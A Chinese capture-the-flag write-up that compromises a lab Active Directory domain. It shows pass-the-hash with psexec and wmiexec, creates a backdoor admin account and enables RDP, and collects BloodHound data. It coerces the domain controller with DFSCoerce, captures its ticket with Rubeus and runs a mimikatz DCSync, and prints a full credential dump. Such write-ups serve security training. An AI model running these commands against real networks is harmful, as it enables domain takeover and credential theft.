哈希f89eb200...能干什么?

可用于 Pass-the-Hash、BloodHound 收集、DCSync 等攻击

为什么 BloodHound 要用它?

作为域内合法身份,进行 LDAP 查询

为什么票据抓取要用它?

如果是域控或有复制权限,可导出全域用户哈希

是否危险?

⚠️ 极其危险!相当于拿到了一台域内机器的“长期凭据”


拿到了Administrator的hash打pth就行

proxychains psexec.py administrator@172.22.4.45 -hashes "aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab" -codec gbk
type C:\Users\Administrator\flag\flag02.txt

然后为了方便

我们创建一个admin用户

net user N1tols qwer1234! /add
net localgroup administrators N1tols /add 
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

proxychains4 rdesktop 172.22.4.45 -u N1tols -p 'qwer1234!' -r disk:share=/home/kali/Desktop/tmp

然后我们安装bloodhound进行域内信息收集

bloodhound域内信息收集

参考文档:https://www.kali.org/tools/bloodhound/

最后安装完成之后默认账号为admin

密码为自己重新设置的密码

如果忘记了管理员密码使用命令如下

sudo env bhe_recreate_default_admin=true bloodhound

启动命令:sudo bloodhound

信息收集

因为我们知道45机器的管理员用户一定是域内用户

proxychains bloodhound -u win19$ --hashes "aad3b435b51404eeaad3b435b51404ee:f89eb200097a291dac01a0db5068816a" -d xiaorang.lab -dc dc01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip

🔹 proxychains

  • 作用:通过代理链(如 SOCKS/HTTP 代理)发起网络连接。

  • 用途:当你需要通过跳板机或内网代理访问目标域时使用。

  • 底层机制:拦截程序的 connect() 调用,通过 /etc/proxychains4.conf 中配置的代理转发流量。

  • ✅ 示例场景:你在外网 → 通过代理进入内网 → 收集域信息。


🔹 bloodhound

  • 说明:这是新版的 BloodHound 数据收集工具(原 bloodhound-python)。

  • 背景:从 2023 年起,bloodhound-python 被重写并集成到 bloodhound 包中,现在只需运行 bloodhound 命令即可。

  • 功能:通过 LDAP、SMB、RPC 等协议,从 Active Directory 域中提取用户、组、权限、会话、ACL、GPO 等数据,用于 BloodHound 可视化分析。


🔹 --collect all

  • 含义:收集所有可用类型的数据。

  • 等价于:同时启用以下所有收集模块:

    • --collect sessions(会话)

    • --collect permissions(权限,如 ACL)

    • --collect trusts(域信任关系)

    • --collect gpos(组策略对象)

    • --collect objectprops(对象属性,如描述字段)

    • --collect acl(访问控制列表)

  • 💡 提示:你也可以只选部分,如 --collect sessions,acl


🔹 -u 'win19$'

  • 含义:指定用于认证的用户名。

  • 细节

    • win19$ 是一个 机器账户(Computer Account)

    • 所有域内主机都对应一个以 $ 结尾的机器账户

    • 机器账户默认有一定权限,可用于查询域信息

  • ✅ 优点:比普通用户权限更高,常用于横向移动时的数据收集。


🔹 --hashes 'LM:NT'

  • 格式--hashes 'aad3b435b51404eeaad3b435b51404ee:21b11500d5834a2b9b3373564a0565f6'

  • 说明

    • 使用 NTLM 哈希认证(Pass-the-Hash)

    • 第一个哈希 aad3...LM hash(通常是 aad3b435b51404eeaad3b435b51404ee,表示空或禁用)

    • 第二个哈希 21b1...NT hash(真正的密码哈希)

  • ✅ 用途:无需明文密码,直接使用哈希登录(绕过密码输入)


🔹 -d xiaorang.lab

  • 含义:指定目标域的名称(FQDN:Fully Qualified Domain Name)

  • 作用

    • 用于构建 LDAP 查询路径

    • 用于 Kerberos 认证(如果启用)

    • 用于 DNS 查找域控

  • ❗ 注意:必须与真实域完全一致(大小写不敏感,但拼写要对)


🔹 -dc dc01.xiaorang.lab

  • 含义:手动指定域控制器(Domain Controller)的主机名。

  • 为什么需要?

    • 自动发现域控可能失败(尤其是在代理环境下)

    • 强制连接到特定 DC,提高成功率

    • 避免 DNS 解析问题

  • ✅ 推荐:在使用 proxychains 时,强烈建议手动指定 -dc


🔹 --dns-tcp

  • 含义:强制使用 TCP 协议进行 DNS 查询

  • 默认行为:DNS 查询使用 UDP(最大 512 字节)

  • 问题:某些 DNS 响应过大(如 SRV 记录),UDP 被截断 → 查询失败

  • ✅ 解决方案:--dns-tcp 使用 TCP 传输完整响应,更可靠


🔹 -ns 172.22.4.7

  • 含义:指定 DNS 服务器的 IP 地址

  • 用途

    • 用于解析域内主机名(如 dc01.xiaorang.lab

    • 特别是在代理环境中,系统默认 DNS 不可用

  • ✅ 必须正确:如果 DNS 不通,bloodhound 无法解析域控或主机


🔹 --auth-method ntlm

  • 含义:显式指定使用 NTLM 认证方式

  • 默认行为:工具会自动选择认证方式(NTLM 或 Kerberos)

  • 为什么要指定?

    • 在无 Kerberos 环境(如无 .ccache 文件)下,避免尝试 Kerberos 失败

    • 确保使用你提供的哈希进行认证

  • ✅ 安全:NTLM 是最常用的哈希传递方式


🔹 --zip

  • 含义:将输出保存为 .zip 格式

  • 输出文件示例20250829162355_bloodhound.zip

  • 优点

    • 所有 JSON 文件打包成一个文件,便于传输

    • BloodHound GUI 直接支持导入 .zip

  • ❌ 默认:不加 --zip 会输出多个 .json 文件,管理麻烦


🔹 --no-save-cache

  • 含义:不保存缓存文件(如 bloodhound-cache.json

  • 缓存用途:加速下次收集(跳过已获取的数据)

  • 为什么禁用?

    • 避免缓存污染(特别是在不同权限下运行)

    • 确保本次收集是“干净”的

    • 在代理环境下缓存可能不准确

  • ✅ 推荐:在渗透测试中使用一次性的完整收集


📌 总结:整条命令的作用

使用机器账户 win19$ 的 NTLM 哈希,通过代理连接到域 xiaorang.lab 的域控 dc01.xiaorang.lab,使用 TCP DNS 查询(指定 DNS 服务器为 172.22.4.7),以 NTLM 认证方式收集所有域数据,并打包成 ZIP 文件输出,不使用缓存。

🎯 目标:在受限网络环境中,安全、完整地收集 Active Directory 域信息,供 BloodHound 分析提权路径。


✅ 补充建议

-v

启用详细日志:-v查看调试信息

分阶段收集

--collect sessions快速获取会话

检查时间同步

NTLM 认证要求时间偏差 < 5 分钟

验证代理连通性

proxychains ping dc01.xiaorang.lab

这里需要等待好一会,但是我这里一直没跑出来不知道为什么

ADinfo域内信息收集

首先要收集域用户信息

https://github.com/lzzbb/Adinfo/releases/tag/v0.3

a

我这里没有获取直接用大佬获取好的

Username  Domain    NTLM                              SHA1
--------  ------    ----                              ----
Adrian    WIN19     68365827d79c4f5cc9b52b688495fd51  41ab23d1abfc618a7c05ee1a45f999799357f4dc
WIN19$    XIAORANG  5943c35371c96f19bda7b8e67d041727  5a4dc280e89974fdec8cf1b2b76399d26f39b8f8
WIN19$    XIAORANG  4017dab3eeaf981160632f84bbf00f73  4db8ab97ee5e004b173d8b5072399f8b0cee523d
proxychains psexec.py Administrator@172.22.4.45 -hashes :f89eb200097a291dac01a0db5068816a-codec gbk

后续具体参考:https://www.cnblogs.com/fdxsec/p/17962704

WIN19 + DC01的非约束委派

票据抓取

Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$

DFSCoerce辅域控进行强制验证

proxychains python dfscoerce.py -u win19$ -hashes "aad3b435b51404eeaad3b435b51404ee:f89eb200097a291dac01a0db5068816a" -d xiaorang.lab win19 172.22.4.7

只有上面两个命令都运行之后才能抓取到票据

C:\Users\N1tols\Desktop>
C:\Users\N1tols\Desktop>Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2

[*] Action: TGT Monitoring
[*] Target user     : DC01$
[*] Monitoring every 1 seconds for new TGTs


[*] 2025/8/29 9:23:33 UTC - Found new TGT:

  User                  :  DC01$@XIAORANG.LAB
  StartTime             :  2025/8/29 14:15:06
  EndTime               :  2025/8/30 0:15:06
  RenewTill             :  2025/9/5 14:15:06
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

    doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD7uy1lapFD5abbt3Y+qzNKb5qt16fJ+j2c0LdADxjzEpofl+2BCjhIklNwNmoj97hLkUNHVuRwvYY9izGd2NwaBBeMRujJHCUuw5F7Od825MvHK4Mv1kRapswi30+IeAhdWh+aiZGE9EVtpAoGkyfE7v3gEJUiDVDvKR8oySmFKeZS3TM6zQYcsfKHoVNbbW0feyiLjaM6J24TIn07IS8bcP0odiw3ONRzt2H/ojPnUYjDHgE9j7rmB8Hy9eZclNXKnMxn7iLmioNX4e71G3y523mGbHBvRLbJ5SW5LTeJEJW5WtLIlIpf5OAQQhzJODGcXbSMxJ7q004scpk9Dtzs80WnadA74jpFvcQiAnbT7D5tSPwt9CFtl8UHDNfdVn1OyAncAWFSr50cuQeX0KE/EkQzYqFAi5H7by3+BVpbTMy9E0BLGkxQdcDMYkSvdX3oXLHoSEgM/MzJwe0jOKfoIcU59scouxfdykMExuPFfxsZx2gG+jJ60a2/6laqGb/5pwQwxLYvpgOphIxLWLWcVfRgFGI0oG47FvV6oiCc2koZ97QO1Zp36dNVm+NGTclgKr9MKgHrWR7lNOiYKIOejqWRRWBt+bzPceVgTAYRTZ/SbrEIg44oat0Lmx/7iz138b00oH667+MXeV0asrBNY7SbNw8vlQ0oL3U8tmdwaiY/lN6anN8e2pTBWpjbnrBAy+K789++rNQKrH1LsOZJdi6nDpb0VCyvzLOVVnNUOJ5fhU8CX4u4x++1q8PR84Xh2GJCHW4RZIjizC/ds1IdxXFO9oPAp1Ry28m4EIn5fbO0HxcP9hKyOhgzYu834c5l4TdxnksFMGqTa0CkwJCqdPl5ICaTMcMPYmy/hA4A5ZyIsszb64MUOoMNnZ6jPWCI6RRxhASf08/bF1okfLT10wZH3+VbhetOvrdtJRwfB1BFLrmImtgMBg1nZbmlBX4ddBq8zN45eWjFXIAlWiDr2nKDVgepC8UTcwEatAxC5e29ppZj4WPIMyC2o2jn4NBl0Jft56/t2aUzzO5WvV0TQ88P+KwpGdhGVkbwUdbFKWrM9JkXqUs914nva9WnYghWYrfmFkBcjunCAZOB0oFxpl/YqSoubf+4CsRTOFhZZ9VviY+zXJbsKIuSSsTn/tYeTq7IvSpynPC1iEqyPrDEkqz3/lPMnF5+fDXmtCql6PqlMIiSjkHw8IU2oKcSPPcCWHMVzw+XY/wOrSz2kDGwOaIOeX3e7l+4A3TtfXRc6wYsBffIpHpYAffE8yEWVUV35rZH0IPxZ530aoecQQvgqQgJPAkhZFLYa9zm4gCOQDPL2fo3IRMmuf7yQJWExaQOxzsH1DdrG0eGbPPf3w2HF3irNPM2PqXwY19vQKFuRPauJKx+E9A8l4PsEyV+i3GV+g8u2cYoasaBRBThp5xDWUcJrzV5dmKGAgp4La9yjgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCAAAtFgN1KgJ508Z3D7GU/WIsglgvrbZ8/ezsUfLCaXPqEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDI1MDgyOTA2MTUwNlqmERgPMjAyNTA4MjkxNjE1MDZapxEYDzIwMjUwOTA1MDYxNTA2WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg==

[*] Ticket cache size: 1

echo 'doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD7uy1lapFD5abbt3Y+qzNKb5qt16fJ+j2c0LdADxjzEpofl+2BCjhIklNwNmoj97hLkUNHVuRwvYY9izGd2NwaBBeMRujJHCUuw5F7Od825MvHK4Mv1kRapswi30+IeAhdWh+aiZGE9EVtpAoGkyfE7v3gEJUiDVDvKR8oySmFKeZS3TM6zQYcsfKHoVNbbW0feyiLjaM6J24TIn07IS8bcP0odiw3ONRzt2H/ojPnUYjDHgE9j7rmB8Hy9eZclNXKnMxn7iLmioNX4e71G3y523mGbHBvRLbJ5SW5LTeJEJW5WtLIlIpf5OAQQhzJODGcXbSMxJ7q004scpk9Dtzs80WnadA74jpFvcQiAnbT7D5tSPwt9CFtl8UHDNfdVn1OyAncAWFSr50cuQeX0KE/EkQzYqFAi5H7by3+BVpbTMy9E0BLGkxQdcDMYkSvdX3oXLHoSEgM/MzJwe0jOKfoIcU59scouxfdykMExuPFfxsZx2gG+jJ60a2/6laqGb/5pwQwxLYvpgOphIxLWLWcVfRgFGI0oG47FvV6oiCc2koZ97QO1Zp36dNVm+NGTclgKr9MKgHrWR7lNOiYKIOejqWRRWBt+bzPceVgTAYRTZ/SbrEIg44oat0Lmx/7iz138b00oH667+MXeV0asrBNY7SbNw8vlQ0oL3U8tmdwaiY/lN6anN8e2pTBWpjbnrBAy+K789++rNQKrH1LsOZJdi6nDpb0VCyvzLOVVnNUOJ5fhU8CX4u4x++1q8PR84Xh2GJCHW4RZIjizC/ds1IdxXFO9oPAp1Ry28m4EIn5fbO0HxcP9hKyOhgzYu834c5l4TdxnksFMGqTa0CkwJCqdPl5ICaTMcMPYmy/hA4A5ZyIsszb64MUOoMNnZ6jPWCI6RRxhASf08/bF1okfLT10wZH3+VbhetOvrdtJRwfB1BFLrmImtgMBg1nZbmlBX4ddBq8zN45eWjFXIAlWiDr2nKDVgepC8UTcwEatAxC5e29ppZj4WPIMyC2o2jn4NBl0Jft56/t2aUzzO5WvV0TQ88P+KwpGdhGVkbwUdbFKWrM9JkXqUs914nva9WnYghWYrfmFkBcjunCAZOB0oFxpl/YqSoubf+4CsRTOFhZZ9VviY+zXJbsKIuSSsTn/tYeTq7IvSpynPC1iEqyPrDEkqz3/lPMnF5+fDXmtCql6PqlMIiSjkHw8IU2oKcSPPcCWHMVzw+XY/wOrSz2kDGwOaIOeX3e7l+4A3TtfXRc6wYsBffIpHpYAffE8yEWVUV35rZH0IPxZ530aoecQQvgqQgJPAkhZFLYa9zm4gCOQDPL2fo3IRMmuf7yQJWExaQOxzsH1DdrG0eGbPPf3w2HF3irNPM2PqXwY19vQKFuRPauJKx+E9A8l4PsEyV+i3GV+g8u2cYoasaBRBThp5xDWUcJrzV5dmKGAgp4La9yjgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCAAAtFgN1KgJ508Z3D7GU/WIsglgvrbZ8/ezsUfLCaXPqEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDI1MDgyOTA2MTUwNlqmERgPMjAyNTA4MjkxNjE1MDZapxEYDzIwMjUwOTA1MDYxNTA2WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg=='| base64 -d > DC01.kirbi

然后传一个mimikatz上去,用DCSync功能获得域控哈希:

mimikatz.exe "kerberos::purge" "kerberos::ptt DC01.kirbi" "lsadump::dcsync /domain:xiaorang.lab /user:administrator" "exit"

或者

mimikatz # kerberos::purge
mimikatz # kerberos::ptt DC01.kirbi
mimikatz # lsadump::dcsync /domain:xiaorang.lab /user:administrator
mimikatz # exit

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # kerberos::purge
Ticket(s) purge for current session is OK

mimikatz # kerberos::ptt DC01.kirbi

* File: 'DC01.kirbi': OK

mimikatz # lsadump::dcsync /domain:xiaorang.lab /user:administrator
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] 'administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   : 1601/1/1 8:00:00
Password last change : 2025/8/29 14:15:01
Object Security ID   : S-1-5-21-1913786442-1328635469-1954894845-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 4889f6553239ace1f7c47fa2c619c252
    ntlm- 0: 4889f6553239ace1f7c47fa2c619c252
    ntlm- 1: 4889f6553239ace1f7c47fa2c619c252
    ntlm- 2: 4889f6553239ace1f7c47fa2c619c252
    ntlm- 3: 4889f6553239ace1f7c47fa2c619c252
    lm  - 0: 326837cb5936284da85d971b1fd188ea
    lm  - 1: dab6958d8a6ee746ddf23db5518992aa
    lm  - 2: d529621c27d54dea7fd77fd2ba8e428d

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4255c8570e36d4283b818f408ffe2bba

* Primary:Kerberos-Newer-Keys *
    Default Salt : XIAORANG.LABAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 23b87fd9c4a80c58fb0d71e2a0d5fc82b7de27156d039ad791093aa88ca95eb3
      aes128_hmac       (4096) : 3a4807b53f305c84603ff072655a5c42
      des_cbc_md5       (4096) : 64feb058753bf1a2
    OldCredentials
      aes256_hmac       (4096) : 23b87fd9c4a80c58fb0d71e2a0d5fc82b7de27156d039ad791093aa88ca95eb3
      aes128_hmac       (4096) : 3a4807b53f305c84603ff072655a5c42
      des_cbc_md5       (4096) : 64feb058753bf1a2
    OlderCredentials
      aes256_hmac       (4096) : 23b87fd9c4a80c58fb0d71e2a0d5fc82b7de27156d039ad791093aa88ca95eb3
      aes128_hmac       (4096) : 3a4807b53f305c84603ff072655a5c42
      des_cbc_md5       (4096) : 64feb058753bf1a2

* Primary:Kerberos *
    Default Salt : XIAORANG.LABAdministrator
    Credentials
      des_cbc_md5       : 64feb058753bf1a2
    OldCredentials
      des_cbc_md5       : 64feb058753bf1a2

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  1fd4772b6f3fea5f0a5a234dde150efb
    02  70b5ab2d5931d45749e4f10b80a70466
    03  0d71e6115a7e5850b3e4c777aba623df
    04  1fd4772b6f3fea5f0a5a234dde150efb
    05  354a5ce3ca3629c6ca77a73b462c0a7f
    06  a692fc773761b7edf3a3cad332053a85
    07  3b3bf4f20b86e7f890d2a6f748684c86
    08  511be1f8053c22c147fe774e84f6cfa0
    09  5cd37846466bba0ab01d0a4fb8fd421a
    10  5c90774e68ba65b15563d817ea03be1d
    11  1aa618d4990ce0b031f56c35b00ef135
    12  511be1f8053c22c147fe774e84f6cfa0
    13  385ea61fafea315b384cff461b9e114c
    14  ee5a115e84919b46e718c6c4294dba78
    15  729b4c3a8edab7f12e037ec161293f44
    16  e3ff26cc0629c51fc68f18ce47173f45
    17  bd6d0bafad3f99c28a9a18d9e5351763
    18  359507105fa376c918a80f7fb982446a
    19  20ad44fe17377c5f3815358c33ca7c34
    20  330fb8b3848b024ba40a8cef987d6795
    21  ec544c990f343fe338a4667f3791e5ab
    22  d528c47b4f30acdeb5bf49f49fed7d64
    23  41bb0903f6c2129f27bfa06e6d9b186b
    24  b5c4fc8c656c14829c0da25e0852582a
    25  8bba781aff9bb5e7939f73c216d0e750
    26  d3bb8972f7c7ffbc5b22392125c4e21f
    27  dd97e0d53b5d1ae346029810cf74d0b8
    28  0c084ded5672573ee7c4127ab474f930
    29  c922d791de366eedeb97c1bd0798d6ff


mimikatz #

可以看到我们成功拿到域管hash

4889f6553239ace1f7c47fa2c619c252

域管打pth

proxychains wmiexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/Administrator@172.22.4.19 -codec gbk
proxychains wmiexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 Administrator@172.22.4.7 -codec gbk
# 这俩直接getshell
type Users\Administrator\flag\flag03.txt

type Users\Administrator\flag\flag04.txt

参考文章:

https://www.cnblogs.com/fdxsec/p/17962704

https://fushuling.com/index.php/2023/09/24/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83%C2%B7delegation/